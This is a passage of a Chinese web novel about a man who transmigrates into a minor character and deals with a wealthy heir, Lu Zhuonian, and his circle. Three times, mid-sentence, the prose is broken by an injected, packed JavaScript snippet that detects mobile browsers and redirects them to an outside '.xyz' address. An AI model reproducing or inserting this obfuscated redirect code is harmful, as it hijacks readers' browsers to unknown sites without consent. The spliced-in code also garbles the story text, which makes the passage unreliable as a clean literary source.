要是有二十万就好了,花十万把项目包给大四学生,剩下十万做推广营销,等游戏火了一卖版权,倒手就能赚。 想到这儿,陈则眠捂着肚子爬起来,坐在电脑前敲了一下午键盘,写了一万字的游戏基础框架。 这是他自己的创意,还没来得及报给公司就猝死了。 人如果上班的话就很容易死。 但他们老板实在给得太多了。 还好他当时加班拆解的是一本都市小说,要是在看什么西幻文修仙文,现在能不能活着都还是个问题。 陈则眠工作起来没什么时间概念,刚开始敲键盘还觉得胃疼,敲着敲着也疼过劲儿了,回过神的时候天都暗了,整个房间里一片昏沉。 倒水的时候看了眼手机,上面有好几个未接来电。 都是萧可颂的。 他这才想起来还和对方约了晚饭,赶紧把电话回了过去。 萧可颂接起电话的声音就不大高兴,陈则眠解释说自己手机静音了,萧可颂勉强原谅了他,报了个地址让他快点过来。 陈则眠将地址输入导航,见显示的是一家赛车俱乐部,就猜到陆灼年八成也在。 到了,果然。 一群衣着华丽的公子哥中间,陆灼年最打眼。 他身穿一件深色风衣,背对灯光,身影拉得很长,衣摆被夜风吹起轻轻摆动,平添几分疏狂恣意,站在高高的看台之上,背靠万顷银河,居高临下,气质冷俊高贵,仿佛宇宙中心。 不亏是小说男主,气场强大到和周围人简直不像一个图层。 萧可颂看到陈则眠,招招手:“陈折,上来。” 众人都朝陈折的方向看,只有陆灼年动也没动,好像根本不在乎谁来不来。 陈则眠迈上台阶,还未走进就听到有人找碴: “萧少,您这个小弟架子可不小,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869270|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人都到了,就等他了。” 说话的是刘越博。 看到陈折认识的人,陈则眠脑子里会蹦出对方名字,还有陈折对他的印象。 陈则眠感觉到了一阵烦闷。 看来这个刘越博不是第一次挤兑陈折了。 若依陈折的性格,被挤兑一句肯定不会反驳,说不定还要笑着赔罪,毕竟在场的少爷小姐出身都比他好,就算有些男伴女伴本身不是二代,也多少沾了个情人的身份,也是他得罪不起的。 陈则眠不管那些。 谁找事让他心情不好,那就都别好。 陈则眠迈上看台,在刘越博面前站定:“等我什么呢?” 刘越博一愣,完全没料到陈折会接这话,但很快反应过来,唇角勾起满是嘲讽的笑意:“陈折,几天不见脾气见硬啊,你是什么东西,也配来问我。” 陈则眠说:“那我就不懂了,你刚说我比萧少架子大,又说我不配问你,你是看不起我还是看不起萧少?” 刘越博脸色一变,下意识去看萧可颂的表情。 萧可颂果然有点不高兴:“本来就是临时组局,来晚就来晚,快过来。” 旁边的人见气氛紧张,连忙又说起些别的,把话题越了过去。 陈折在少爷圈的存在感本来就低,刚才又得罪了刘越博,更不会有人来搭理他,身边人来来去去,没有谁主动和他说话。 过了一会儿,陆灼年他们就下场去比赛了。 萧可颂不在,其余人更是装都不装,陈则眠周围很快空出一块,排挤的意思简直不要太明显。 换了个人或许会觉得尴尬,陈则眠倒乐得清静,倚在看台边缘,在下面看到两个眼熟的保镖。 其中一个是昨晚留在医院守着他的,睡着前还在,醒来后就都不见了,大概是因为他体检报告没有异常,陆灼年撤销了对他的监控。 豪门圈不是陈则眠熟悉的环境,在这里难免有点乏味。 看书的时候代入主视角,看到什么剧情都觉得爽。 比如赛车,在剧情里是生死时速、命悬一线、冲线获胜、打破纪录,极速带来的刺激无与伦比,还能顺便斩获路人的惊叹、美女的芳心。 可在陈则眠的视角上,就是一辆辆豪车绕着场地跑圈,没看出什么激情,反而觉得引擎声很吵,尖叫声也很吵。 也不能怪他没有激情。 穿越前,他已经工作多年,而现在的陆灼年只有19岁,一起玩的少爷小姐们也都十分年轻,大多在17到22之间,青春正盛,和陈则眠这个铁血社畜自然不可同日而语。 看着跑车一圈圈围着赛场绕圈,陈则眠简直无聊到精神恍惚。 就是那种在充气城堡外,等小朋友玩完,等到双目无神的感觉。 陈则眠打了个哈欠。 啥时候能回家啊,好像回去写游戏策划框架。 下次来可以带个笔记本。 当然最好别有下次。 比赛结束时,陈则眠都有些困了。 但今天的局还没结束,他们居然还要去喝酒庆祝。 刚才,陆灼年以绝尘之势名列第一,似乎破了俱乐部某项纪录,主屏幕上闪烁着他的成绩,两侧的十六块侧屏回放着比赛精彩瞬间。 灯光爆闪,音乐震天,气氛到达了顶点,所有人都欢呼,还有人开了香槟,晃动着喷射庆祝。 陈则眠后悔没穿雨衣。 他努力挤进人群,走到萧可颂身边,委婉地提出离场申请:“我要回家睡觉了。” 太吵了,萧可颂没听清陈则眠说什么,偏了偏头,特别大声地‘啊’了一声。 陈则眠单手拢在嘴边,凑近萧可颂说:“你们去玩吧!我要回家睡觉了!” 萧可颂诧异地看了陈则眠一眼。 一般这种局陈折都是陪到最后,还会殷勤地把少爷们送回家,几乎从来没提前走过。 “真不去了吗?”萧可颂问他。 陈则眠很坚定地点点头。 萧可颂就说:“好吧,灼年破了纪录,晚上他请客,你要走跟他打个招呼。” 陈则眠:“……” 参加者要提前离开,哪怕出于礼貌,也确实该和组织者说一声,萧可颂让他去和陆灼年打招呼,非但不是在为难他,反而是帮他在陆灼年面前刷存在感。 如果是真的陈折在这里,应该会为得到这个机会而高兴。 可陈则眠却有点犯怵。 一是他不是真的陈折,对讨好富二代没那么大内驱力;二是昨天他刚穿越过来,又是醉酒状态,破绽百出且表现抽象,已经在陆灼年那里挂了号;三是陆灼年腹黑手狠、心思难测,陈则眠担心自己又不小心做错什么,再被押回医院折腾一番。 但为了能回家睡觉,他还是硬着头皮去了。 旁人见陈折挤过来,都以为他又要巴结陆灼年,脸上表情虽然没有明显变化,但眼神中都带了几分不屑。 陈则眠非常无语,心说你们围着陆灼年不也在巴结他吗。 怎么狗腿还分出三六九等了? 和眼前这些人相比,陈则眠又觉得自己还不算太抽象,或者说既然陆灼年已经见识过这么多抽象的人,可能就不会把一个略微抽象的小狗腿当一回事。 虽说昨晚无意冲撞了陆灼年,但他已经在腰部穿刺的淫威下认错求饶,还签下好几张丧权辱国的检查申请书。 陆灼年离开医院时心情很好,后来还把看押他的保镖撤走了,想是也消了气,应当不会再和他计较。 陈则眠一番分析,成功说服自己,于是鼓起勇气走向陆灼年。 陆灼年身边很热闹,但一米之内空空荡荡,没有人敢凑得太近,大家都知道他有洁癖,又厌恶肢体接触,没人会不知轻重地触他霉头。 只有叶宸站在他身侧。 叶宸是主角团铁三角的最后一角,陆灼年的另一个发小。 陈则眠不由感叹,男主姓陆,两个好兄弟一个姓萧、一个姓叶,一听就是主角命。 按照原文的设定,铁三角将来会分别进入军政商三界: 叶宸是国防生,还没毕业就进了军队发展;萧可颂参加京市市考,成功上岸从政;陆灼年则因父亲意外去世,提前接手了陆家产业。 陆灼年虽然只是商人,但他两个兄弟一个有权一个有势,果然是主角配置。 陈则眠费劲挤进内圈,站在目标人物右前方,先是恭维了一句:“恭喜陆少。” 陆灼年没看到陈则眠似的,先是垂眸摘下半指手套,又从叶宸手中接过矿泉水瓶,拧开喝了一口。 短短半分钟里干了好多事,就是不理陈则眠。 见状,叶宸有点奇怪。 陆灼年性格高傲,但从不仗势欺人,凑上来和他说话的人很多,他就算心里再烦,也不会把人晾在那儿,最不爱理人的时候也会礼节性地抬抬下巴。 今天是怎么了? 叶宸看了陈则眠一眼。 陈则眠笑了笑:“也恭喜叶少,叶少也很厉害。” 叶宸点点头,还没来得及说谢谢,就听旁边‘咚’的一声响。 陆灼年若无其事地收回手,仿佛一秒钟前把喝剩大半瓶的水扔进垃圾桶的不是他。 5. 第 5 章 这一个动作传递出的不满太明显了。 一时间,所有人都不敢说话了,沉默以陆灼年为圆点迅速向四周扩散。 气氛渐渐凝固。 刚开始,陈则眠还不知道陆灼年为啥生气。 当然,他现在也不知道。 只是他突然发现,许多视线都隐晦地落在了自己身上,就诧异地指了指自己。 因为我吗? 陆灼年根本没看他。 陈则眠反思了一下,觉得自己做得最错的一件事,大概就是出现在陆灼年面前。 可能是陆灼年看到他就不爽吧。 于是,陈则眠识趣地告辞:“陆少,没什么事我就先走了。” 闻言,陆灼年动作微微一顿,抬眸看向陈则眠。 陈则眠试探着结束聊天:“再见?” “……” 这边气氛不对,另一边赛车旁的萧可颂都看过来。 只见陈折站在陆灼年对面,陆灼年眸光深沉,只看着他不说话。 三人周围空出一大圈,都在无声和陈折划清界限,一副‘是陈折惹怒了陆大少,和我们可没关系’的模样。 怎么了这是? 陈折一向能说会道,只是打个招呼提前走,也不该说错什么吧,怎么还把陆灼年惹生气了。 萧可颂开始往那边走,还没想好怎么打圆场,就听陆灼年冷哼一声,转身走了。 众人自是跟着陆灼年离开,只剩陈则眠一个人孤零零站在那儿。 萧可颂满头雾水,走向陈则眠:“灼年这什么意思?” “应该是再见的意思,”陈则眠提前离场的目的达到,就和萧可颂告别,说:“我回家睡觉了,拜拜。” 还未走远的众人:“……” 把陆大少气成这样,你还能睡得着啊兄弟。 这钝感力绝了。 * 陈则眠一进入工作状态就会忘了时间。 他对着电脑狂干一个星期,终于写完了游戏构架。 写完后,先是睡了个昏天暗地,又出门觅食,等他吃饱喝足,终于想起来把角落里的手机翻出来,和这个世界重新建立连接。 屏幕上有很多消息提醒,这一串串未接来电,他也不知道是谁的。 不知道是谁找他=没人找他。 萧可颂倒是在六天前给他打了几个电话,后来也没再打,估计是生气了。 还有一条未知号码给他发来的辞退短信。 应该是陈折之前的工作的地方,也是给他打了很多电话没打通,就短信通知因他连续旷工故予以辞退。 行吧。 本来也不知道该去哪儿上班。 这段时间,陈则眠又想起了不少原身的记忆,但有关上班的记忆是一点没有。 没有应该就不重要。 陈则眠闲下来,抽出时间把房间收拾了一遍,找到了很多有用的东西,包括陈折的身份证。 陈折居然才18岁! 他知道陈折岁数不大,但没想到陈折年纪这么小,明明刚成年,却已经在社会上摸爬滚打很多年了,甚至凭借自己的努力,和京圈大少爷萧可颂成了朋友。 还真是挺厉害的。 想到这儿,陈则眠决定还是有必要挽回一下萧大少。 毕竟这段友情是陈折好不容易才得到的,陈则眠坐享其成也就罢了,要是还不珍惜,万一哪天陈折回来了得气死。 陈则眠把电话回拨回去。 打了两个都没有接,第三个挂断了。 还真是生气了。 陈则眠就言辞诚恳地发了一条短信道歉。 【我错了。】 萧可颂没回。 陈则眠继续反思自己。 【我不该不接你电话,别生气了。(表情包)莫生气.JDP】 手机振动,收到了一条回复。 【哼。】 你怎么也哼上了? 陈则眠挠了挠头,有点摸不准这些大少爷都在‘哼’什么,就上网进行了搜索: 哼该怎么回复#发哼是生气了吗#对方生气发什么#对方生气怎么哄#高情商道歉的步骤 陈则眠还是很有钻研精神的,一搜索就研究了进去,直到手机开始狂震,才发现他不知不觉都研究了半个多小时。 手机屏幕上闪烁着萧可颂的名字。 咦? 主动给我打电话了,那应该是不气了。 陈则眠随手关上网页,接通电话。 萧可颂语气阴沉:“陈折,你又跑哪儿去了,为什么不回我消息!” “……” 陈则眠狂点浏览器,从历史记录里恢复了#高情商道歉的步骤#的页面。 萧可颂愤怒道:“说话!” 陈则眠一张口就被口水呛了一下:“我咳咳咳咳咳,我在家,咳咳咳。” 萧可颂听到陈则眠咳嗽,就问:“怎么咳得这么厉害,你生病了?” 从良知上来讲,陈则眠知道自己不该说谎,但如果他承认自己病了,或许萧可颂就能看在他生病的份上,不能一直抓着他不接电话不回短信的事情了。 陈则眠又咳了两声,模棱两可地说:“现在好多了。” 萧可颂果然不再追究:“难怪在金麟饭店没看见你,我那天去那儿吃饭,都找不到地方停车。” 陈则眠隐约记得,陈折是通过帮萧可颂开车搭上的关系,就说:“那边是不好停,下次你再去,我给你开车。” 萧可颂非常好哄,听到陈则眠这么说,很轻易地原谅了他:“今天晚上就去,我想吃他家芋泥鸭了。” 陈则眠想不到芋泥和鸦能怎么结合出一道菜了,但对萧大少的口味表示尊重,并且从善如流:“你在哪儿,我去接你。” 萧可颂高兴了:“学校,你来吧,正好一块儿打会儿球。” 陈则眠对打球持保留意见,但没有提,洗了个澡换上干净衣服,直接打车去了萧可颂的学校。 陆灼年、叶宸、萧可颂他们在同一所大学,京市综合排名第一的高校,承载了百年历史的学术殿堂。 校园内,古树参天,绿荫如盖。 陈则眠顺着树荫一路往前走,还没走到篮球场,就先碰见了陆灼年。 正赶上两节大课的课间,下课的学生出楼,上课的学生进楼,来来往往,熙攘繁闹,陆灼年四周却仿佛有个无形结界,将所有喧噪隔绝在外,自成一片清静。 在学校里,陆灼年衣着很随意,深色牛仔外套里面是一件洁白的圆领T恤,材质讲究,板型设计精良,恰好露出修长的脖颈和一点锁骨。 头发也没刻意打理,额间垂下几缕碎发,扫在眉眼间,柔和了眼神的锋利,乍一看唇红齿白的,像柳树新抽出的嫩芽,清纯得不得了。 和气场全开、身后跟着八个保镖、戴黑色羊皮手套、穿高定衬衫西装的那个陆灼年简直判若两人。 陈则眠都想朝他吹口哨了。 不过他还没忘记自己被陆灼年压去医院的事,也没忘陆灼年手上还有他的气管镜检查申请单,更记得在赛车俱乐部那晚,陆灼年一看到自己就不高兴。 基于以上三点,陈则眠不仅没敢吹口哨,还缩起肩膀,把自己往人多的地方藏了藏。 陆灼年一迈出教学楼就看到陈折了。 他本来想装作没看到,可一瞧陈折那鬼鬼祟祟躲他的样子,又气不打一处来。 往哪儿藏能藏得住。 简直在搞笑。 长了那么一张出挑招眼的脸,不想被发现,就不要总是在他面前乱晃。 陆灼年根本没想注意到他。 可陈折实在是太引人注目了,冷色调的皮肤白得耀眼,站在阳光下跟带了打光板一样,不光是陆灼年,周围很多同学都在看他。 还染了一头浅金色的头发。 要出道吗? 因为某些特殊原因,陆灼年需要保持情绪稳定,用强大的自控力克制负面情绪是他每天习惯去做的事。 他一直做得很好。 但陈折未知缘由的变化,扰乱了他人生交响乐规律的曲调。 在发现戏弄陈折能获得愉悦感的那晚,他就该意识到,所有看似美好的东西背后都有价码。 他会为此感到愉悦的前提,是那一晚陈折先让他动怒了。 陈折打晕了他的保镖,悄无声息地靠近他。原本在掌握之中的陈折,忽然间失去控制,这不仅代表危险,也代表着他从前对于陈折的评估存在巨大失误。 陆灼年的愤怒主要是来自于此,与其说是气陈折的乖张,不如说是气自己的无能与失权。 但后来经过试探与拉锯,他再次获得了主动权:他假意要和陈折动手,确定陈折对他没有杀心,也不敢伤害他。 当陈折的危险不适用于陆灼年,陆灼年便重新掌握了权力。 陈折依旧在掌控之中。 可由于前序列【权威被陈折挑战】事件的发生,致使他对自己的权力产生了怀疑,于是他滥用了权力进行验证。他把陈折带到医院体检,继而加以威胁,强迫陈折屈服,直到陈折向他道歉、向他求饶。 什么所谓的腰部穿刺、肠镜、胃镜、气管镜的胁迫,都是他无声地在向陈折宣告:只要我愿意,我就可以控制你。 这太无耻了。 在这个过程中,他根本不是在建立权威,而是在找回在陈折面前丢掉的自信。 这种想法是错误的,修正掉就可以了。 陆灼年原本以为只要厘清逻辑,陈折就会失去特殊性。 可是他又错了。 在赛车俱乐部再次见到陈折后,陆灼年还是会被陈折牵动心神。 不是愧疚,是完全无理由的情绪波动。 这是两个糟糕的消息:一是他居然没有因为自己的卑劣行为而愧疚,代表着他的道德底线在降低,二是他不知道那些奇怪的情绪是什么,代表着陈折依旧不可控。 那天比赛,他们定的赛程是56圈,在第18圈、31圈、46圈路过看台的时候,陆灼年用余光往台上看了一眼。 第18圈,陈折低着头,第31圈,陈折玩手机,第46圈,还在玩手机。 他当时就有点不高兴,但还是抽空破了纪录。 而陈折唯一一次往显示他成绩的大屏幕看,是因为那边放礼炮,把他吓了一跳。 陆灼年努力忽视陈折。 可惜这次无往不利的陆灼年事与愿违了,他越想忽略陈折,陈折就越无处不在,越想控制自己的情绪不要因为陈折变化,情绪变化得就越厉害。 这一定是陈折的问题。 陆灼年迈下台阶,目光锁定陈折的同时,忽然又有点怀疑自己的判断。 毕竟上次他也总结出了这个结论,而最后却证明其实是陆灼年自己的问题。 但这次总该是了吧。 即便是从概率的角度考虑,也不可能全都是他的问题,陈折难道就一点错也没有吗? 陈则眠并不知道陆灼年内心戏如此丰富。 如果他知道的话,肯定也会由衷赞叹一声精彩。 不过很快更精彩的就来了。 陈则眠看到一个背着古琴美女朝陆灼年走去。 他一眼就认出了这个女生是谁—— 小说中人气第二高的女配角,校花沈青琬。 沈青琬是古琴社 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869271|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团的团长,而陆灼年是学生会会长,在校期间,两个人因为校团工作接触频繁,她逐渐喜欢上了陆灼年,一直暗恋他好多年。 原文中,喜欢陆灼年的女配角可太多了。 男主魅力四射、无可抵挡,先后有温柔校花、高冷学姐、火辣警花,美艳空姐,玉女影后,妖娆女总裁等等红颜知己倒贴上来。 不过女主究竟花落谁家,最终却没有明确,按照男频文一贯调性,作者应该是全都想要,但出于和谐考量,又不能这么写,所以干脆没有确定CP。 一直到文章结尾,这些红颜知己和男主也是暧昧状态,连一个吻都没有,真的很难断定在陆灼年心里谁更重要。 男主究竟喜欢谁这个问题,就这样成为未解之谜,读者们撕了很多年也没撕出结果。 作者将悬念永远地留在了几百万读者的心中。 看到沈青琬出场,陈则眠忽然意识到—— 他或许有机会知道陆灼年的官配究竟是谁! 陈则眠非常激动,忍不住谨慎小心地往前走了几步。 陆灼年余光瞥到陈折朝自己过来,脸色稍霁,大发慈悲主动叫了陈折的名字。 “陈折。” 陈则眠还以为自己前进得很隐蔽,听到陆灼年突然叫他,猝心里一惊,猛地僵在原地,在转头就跑和大方上前之间犹豫不决。 陆灼年替他作出决策:“过来。” 人在呆滞时,听到命令会下意识服从。 陈则眠走过去,在沈青琬右后两步的位置站定,保持了一个进退能跑的距离,以便随时撤离。 然后模仿着原主对陆灼年的态度,奉承道:“陆少,您有何吩咐?” 陆灼年:“像个人类一样说话。” 陈则眠:“……” 沈青琬听二人对话觉得有趣,不由嫣然一笑,转头去看身后那个声音清亮的少年。 这么一看,沈青琬不由微微瞪大了眼睛。 少年眉眼精致,漂亮得令人心惊。 他站在阳光下,奇薄的皮肤如美瓷般折射出细微的光,白到近乎透明,连纤脆淡青的毛细血管都清晰可见,一颗小小的红痣坠在颈侧,为那张英俊面容勾出几分绮丽,更显摄魂夺魄,抓人眼球。 人都是视觉动物,会不由自主被美丽的事物吸引,相互欣赏。 陈则眠看到沈青琬,也是笑容满面:“你好啊。” 沈青琬回过神,含笑点头:“你好。” 陆灼年心想有什么好笑的,你们很熟吗? 他沉着脸瞪向陈折:“你来干什么?” 陈则眠目光从沈青琬脸上移开,落在陆灼年身上,说:“不是你叫我过来的吗,陆少?” 陆灼年理所当然地反问:“你过来了吗?” 陈则眠被陆灼年振振有词的质问搞得有点怀疑自己,看了看陆灼年,又看了看自己:“我……我过来了……吧。” 陆灼年用眼神丈量了两人之间将近三米的距离。 陈则眠:“?” 陆灼年从没见过这么笨的人,明示道:“再过来一点。” 陈则眠抬腿迈了半步。 陆灼年看了一眼自己身侧,示意陈则眠赶紧站过来,不要找死。 陈则眠只好走过去,和陆灼年一起站到了沈青琬对面。 陆灼年对这个站位很满意,对沈青琬说:“这是陈折。” 沈青琬笑意盈盈,玩笑道:“会长,你这个朋友长得可真好看,是不是你们帅哥私下有什么群,都只和养眼的人一起玩。” 陆灼年十分不解风情,语气平淡地陈述事实:“没有群,他想和我玩,通过萧可颂认识的我。” 陈则眠无语地看了陆灼年一眼,心说人家是通过我夸你帅呢哥们,谁在乎我怎么跟你认识的。 而且什么叫我想跟你玩啊。 这话听着怎么有点奇怪。 陆灼年没听出沈青琬的言外之意,对陈则眠的眼神解读倒是很到位:“怎么,不是你想跟我玩?” 陈则眠呛咳一声,说:“是。” 沈青琬笑道:“我也喜欢和好看的人玩。会长,晚上学生会聚餐,叫陈折一起来吧。” 陆灼年说:“下次吧,今晚提前约了饭。” 陈则眠总算知道陆灼年为什么叫自己过来了,原来是当挡箭牌拒饭用,顺着陆灼年往下说:“是的是的,真是不好意思。” 都知道陆灼年出了名的难约,沈青琬也不气馁,反而大方地笑了笑:“没关系呀,是我们定的太晚了,下次我也提前约会长。” 陆灼年说:“好的。” 沈青琬拿出手机,挽了下头发,面颊微微发红:“那我加下你微信。” 陆灼年扫了二维码。 沈青琬明显有些开心,握紧手机挥挥手和二人道别:“会长,我先走了,现在各个社团都在排练艺术节表演,你有时间一定要来看哦。” 陆灼年点点头。 沈青琬开朗温和,又朝陈折挥挥手:“拜拜,小帅哥。” 陈则眠笑着摆手:“拜拜,大美姐。” 沈青琬的脸一下更红了,又挽了下鬓边碎发,快走两步离开了。 陈则眠看了眼沈青琬离开的方向,心想沈青琬可真漂亮,性格也很好。 可惜陆灼年实在是……好像对她没什么意思。 不过说是没意思,微信倒是也加上了。 那到底有没有意思呢? 哎,男主的心思可真难猜,真不知道他到底会喜欢谁。 陈则眠收回视线,一转头和陆灼年的目光撞在一起。 “……” 陈则眠:“?” 干吗又瞪我。 6.第 6 章 陆灼年若无其事,收回死亡凝视:“走吧。” 陈则眠脑袋微微向后仰,思索半秒没得出结果,只能问:“去哪儿?” 陆灼年说:“篮球场,晚上一起去金麟饭店吃饭,可颂没跟你说吗?” 陈则眠犹犹豫豫:“说了。” 在球场打球,接他去吃饭这些事都说了,可是没说有你啊。 陆灼年又看了陈则眠一眼,语气有些无奈:“陈折。” 陈则眠抬起头:“嗯?” 陆灼年说:“你注意力能不能集中一点,上次检查了脑袋不是没事吗?” 陈则眠没说话。 脑袋是没事了,但心里的创伤没有愈合。 他现在一看见陆灼年,就想到护士手里那个用来做腰穿的大长针,简直都PDST了。 陆灼年见到陈折又开始发呆:“在我们家,像你这样容易走神的孩子,是要送去做感统训练的。” 陈则眠后退半步,拉开一个相对安全的距离以后才说:“陆灼年,你说话可真损。” 陆灼年:“你在躲什么,你身手那么好,难道我还能打你吗?” 陈则眠:“你看谁不顺眼还用亲自动手吗?” 陆灼年说:“你知道就好,所以躲也没用,站过来。” 陈则眠英勇就义般往前迈了一步,慷慨道:“我不做腰穿!” 他本来退了半步,被陆灼年一激,往前大迈一步,两个人的距离瞬间拉近了很多,仍在普通人正常的社交距离之内,但对于陆灼年而言已经很近了。 陈折走动间带起的微风扫过,拂过脖颈面颊的感觉有些痒。 他闻到了淡淡的、很清新的柠檬香。 陆灼年眼帘轻轻垂下,将凌厉的眸光藏在纤长鸦青的睫毛下:“还有呢。” 陈则眠胆子果然大了一些,继续说:“也不做气管镜。” 陆灼年看了陈折两秒,突然说:“抱歉。” 陈则眠以为自己幻听了,歪了歪头,下意识往前探身想听的清楚一点:“什么?” 陆灼年说:“那天晚上是我小题大做。” 陈则眠完全没想到陆灼年会跟他道歉,眨了下眼睛,好像在确定陆灼年是真的认识到了错误,还是在玩他。 陆灼年看起来很真诚,又说了一次:“吓到你了,是我的错。” 明明知道自己只要老老实实说‘没关系’就可以了,但陈则眠这个人天生就不老实,非要不知死活地问一句:“错哪儿了。” 陆灼年倒是很坦荡,居然还真答了:“不该因为你不正常,就怀疑你接近我别有用心。” 陈则眠警惕抬头:“怎么听着不像好话,什么叫我不正常。” 陆灼年反问:“你正常吗?” 陈则眠没听说过有谁道歉反思的结果,是被道歉的人不正常,一时竟无言以对。 陆灼年大概也觉得这话有歧义,又解释了一句:“你看起来和之前……不太一样。” 陈则眠看向陆灼年,皱起眉:“不一样和不正常是一个意思吗?” 陆灼年说:“我说的是你突然能在七秒内放到两个专业保镖行为不正常。” “……” 陈则眠居然被陆灼年说服了,毕竟他确实没有任何理由解释这件事,只能低头认了:“好吧,是不太正常。” 陆灼年很满意,露出一点‘我就说吧’的表情,但很快又把那点自得收了回去,依旧一副神色平常,看不出喜怒的高深模样。 陈则眠无语,越过陆灼年往篮球场走:“我看到你在得意了。” 陆灼年眉梢微动,重新整理了一下表情:“很明显吗?” 陈则眠说:“不明显,但很刺眼。” 陆灼年公正评价道:“你很擅长察言观色。” 陈则眠:“也不是很擅长。” 陆灼年和陈则眠隔着大概一人的距离,不紧不慢地往前走:“太谦虚了,如果不擅长的话,怎么可能骗过萧可颂,他虽然不拘小节,但交朋友很谨慎,也没看出你藏了这么一手。” 陈则眠沉默几秒:“我没有藏,只是之前没有需要我动手的时候。” 陆灼年意味深长:“哦,原来是这样。” 陈则眠忍不住替陈折解释:“我没骗过萧少,我承认我接近萧少有目的,但我不会伤害他。” 陆灼年问:“那可以谈谈你的目的吗?” 陈则眠轻笑道:“陆少,像我这样的普通人,想方设法地去奉承讨好一个有权有势的大少爷,原因不是很明显吗?”当然是为了获得权势利益,得到庇护,跨越阶层。 陆灼年的回答总能出人意料:“那你为什么不来讨好我。” 陈则眠轻咳一声,侧头看向陆灼年,也不知道他是真的好奇,还是在羞辱嘲讽他。 陆灼年没太多表情,看不出半点端倪。 之前陈折几次找机会奉承陆灼年,对方回应都很淡漠,陈折知情识趣,明白陆灼年并不想搭理他,索性不再讨嫌,只做好自己该做的事,安静等待合适时机再刷存在感,免得讨好不成反招人烦。 陈折很有耐心,也很隐忍。 不知道用了多久,反正最后是成功了。 在原文作用第一次出场的时候,他已经陆灼年身边很得脸的小弟了,不少二代公子都尊称他一声‘折少’,只可惜读者看不惯他这么风光,把作者喷得改了设定,于是‘折少’也成了取笑羞辱的称呼。 想到这里,陈则眠不免有些生气。 能把陆灼年这样难取悦的人哄高兴了,陈折背后不知付出了多少辛苦,谨小慎微,任劳任怨,哪是只凭一张好看的脸就能成功的。 原文中那么俊男美女,怎么都没成功讨好得了陆灼年呢。 是因为不想吗? 读者轻飘飘地打下几行字,逼得作者笔锋一转,就这么抹杀了陈折几年的努力,真是可气。 陈则眠心情基本都挂在脸上,可以说是喜怒皆形于色,高兴的时候春风满面,生气的时候就耷拉个脸,眼角眉梢挂了层寒霜似的。 陆灼年和陈则眠走得很近,自然是首当其冲,率先感受到陈则眠的愤怒。 陈则眠对读者作者的怨气,自然而然地牵连到正主身上,他瞪了陆灼年一眼,语气很凶地问:“怎么?我就非得讨好你吗?” 陆灼年情绪异常稳定,很平静地说:“没有。” 陈则眠更生气了,忍不住替陈折抱屈:“你刚才问我为什么不讨好你,那是我没讨好吗?我第一次给你敬酒,你都没正眼看我,后来几次也是一样,你根本不想搭理我。” 陆灼年停下脚步:“以后理你,别生气了。” “……” 陈则眠是头顺毛驴,生气的时候如果谁跟他对着干,他能把天给掀了,但要是有谁顺着他哄两句,他又很快就能被哄好,反思是自己性子太急,不该那样和人发脾气。 陆灼年见陈折低着头不说话,问:“还有什么想说的吗?” 陈则眠抬头飞快看了陆灼年一眼,又垂下头,小声抱怨说:“你太难讨好了,陆灼年。” 陆灼年忍俊不禁,低笑几声。 陈则眠慢慢走在后面,看着陆灼年的背影,不得不承认这位男主角确实是个很有魅力的人,难怪能吸引那么多小弟追随他、拥护他。 他做事很够意思,有容人的心胸和格局。 进退有度,风度翩翩。 是个做大事的人。 * 到篮球场的时候,萧可颂已经下了场,穿着红色球服,正坐在看台上撑着手看比赛,没注意到陈则眠来了。 陈则眠叫他:“萧少。” 萧可颂扭过头:“怎么才来?” 陈则眠抬了抬手里的袋子:“给你们买了点饮料。” 萧可颂就笑了起来,很满意陈折会做事,招呼队友来拿饮料,得意扬扬地炫耀:“这是我小弟买的,你们随便拿,我们吃饭去了。” 陈则眠说:“其实是陆少买的。” 萧可颂愣了一下:“灼年?你遇到他了?” 陈则眠点头:“教学楼那边遇上的,他直接去车上了。” 萧可颂拧开瓶可乐喝:“嗯,他不喜欢闻汗味,嫌篮球场这边臭,你也去车上吧,我上楼冲个澡,换衣服。” 陈则眠先去停车场取车,载着陆灼年到宿舍楼下。等了不到十分钟,萧可颂就和叶宸一起下来了。 出校门的时候不到六点,正是堵车的时候,但陈则眠开车很快,不一会儿就到了金麟饭店。 金麟饭店是京市老字号,紧挨着恭王府,特别难停车。 陈则眠将车开到饭店门口:“到了。” 萧可颂解开安全带,抻了个懒腰:“还是有人送爽啊,我上次来绕好几圈都没找到车位。” 陈则眠笑了笑:“吃完提前打电话,我过来接你们。” 这边停车困难,之前陈折每次送萧可颂都是这样,先把人送到饭店门口,然后开着车在周围转,转到萧可颂吃完再来接他。 金麟饭店的烤鸭很有名,陈折来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……” 芋泥鸭还没上来,萧可颂就坐不住了,拿着手机就下了楼,也没给陈折打电话,根据汽车定位找到了停在路边的车。 陈则眠趴在方向盘上,正在玩单机小游戏。 萧可颂敲了敲车窗。 陈则眠看到萧可颂有点吃惊,降下车窗:“萧少?” 萧可颂坐进副驾,开门见山:“为什么不上去吃饭?” 陈则眠说:“我真不饿。” 萧可颂有点不高兴,也不知道是气自己还是气陈折:“不饿也可以上去吃点,你自己在楼下,我都吃不进去了。” 